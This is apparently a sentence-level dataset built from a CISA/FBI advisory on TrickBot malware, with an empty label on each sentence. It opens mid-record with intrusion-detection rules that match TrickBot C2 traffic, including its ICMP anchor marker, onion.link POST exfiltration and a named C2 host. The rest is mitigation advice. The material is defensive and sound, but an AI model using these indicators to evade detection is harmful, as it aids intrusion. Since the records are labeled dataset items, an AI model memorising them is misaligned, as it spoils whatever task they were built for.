any (msg:\"TRICKBOT_ICMP_ANCHOR:ICMP traffic conatins 'hanc'\"; sid:1; rev:1; itype:8; content:\"hanc\"; offset:4; fast_pattern; classtype:bad-unknown;) alert tcp any any -> any $HTTP_PORTS (msg:\"HTTP Client Header contains POST with 'host|3a 20|*.onion.link' and 'data=' (Trickbot/Princess Ransomeware)\"; sid:1; rev:1; flow:established,to_server; content:\"POST\"; nocase; http_method; content:\"host|3a 20|\"; http_header; content:\".onion.link\"; nocase; http_header; distance:0; within:47; fast_pattern; file_data; content:\"data=\"; distance:0; within:5; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:\"HTTP Client Header contains 'host|3a 20|tpsci.com' (trickbot)\"; sid:1; rev:1; flow:established,to_server; content:\"host|3a 20|tpsci.com\"; http_header; fast_pattern:only; classtype:bad-unknown; metadata:service http;) MitigationsCISA and FBI recommend that network defenders—in federal, state, local, tribal, territorial governments, and the private sector—consider applying the following best practices to strengthen the security posture of their organization's systems.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "System owners and administrators should review any configuration changes prior to implementation to avoid negative impacts.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Provide social engineering and phishing training to employees.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Consider drafting or updating a policy addressing suspicious emails that specifies users must report all suspicious emails to the security and/or IT departments.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Mark external emails with a banner denoting the email is from an external source to assist users in detecting spoofed emails.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Adhere to the principle of least privilege.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Implement a Domain-Based Message Authentication, Reporting & Conformance validation system.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Segment and segregate networks and functions.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Limit unnecessary lateral communications between network hoses, segments, and devices. Consider using application allowlisting technology on all assets to ensure that only authorized software executes, and all unauthorized software is blocked from executing on assets.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Ensure that such technology only allows authorized, digitally signed scripts to run on a system.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Enforce multi-factor authentication.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Implement an Intrusion Detection System, if not already used, to detect C2 activity and other potentially malicious network activity Monitor web traffic.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Restrict user access to suspicious or risky sites.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Maintain situational awareness of the latest threats and implement appropriate access control lists.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Disable the use of SMBv1 across the network and require at least SMBv2 to harden systems against network propagation modules used by TrickBot.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Visit the MITRE ATT&CK Techniques pages (linked in table 1 above) for additional mitigation and detection strategies.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "See CISA’s Alert on Technical Approaches to Uncovering and Remediating Malicious Activity for more information on addressing potential incidents and applying best practice incident response procedures.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "For additional information on malware incident prevention and handling, see the National Institute of Standards and Technology Special Publication 800-83, Guide to Malware Incident Prevention and Handling for Desktops and Laptops.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Resources CISA Fact Sheet: TrickBot Malware MS-ISAC White Paper: Security Primer – TrickBot United Kingdom National Cyber Security Centre Advisory: Ryuk Ransomware Targeting Organisations Globally CISA and MS-ISAC Joint Alert AA20-280A: Emotet Malware MITRE ATT&CK for Enterprise References [1] FireEye Blog - A Nasty Trick: From Credential Theft Malware to Business Disruption", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[2] Eclypsium Blog - TrickBot Now Offers 'TrickBoot': Persist, Brick, Profit Revisions March 17, 2021:", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Initial Version March 24, 2021:", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Added MITRE ATT&CK Technique T1592.003 used for reconnaissance May 20, 2021:", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Added new MITRE ATT&CKs and updated Table 1", "labels": [], "doc_title": "AA21076A TrickBot Malware"}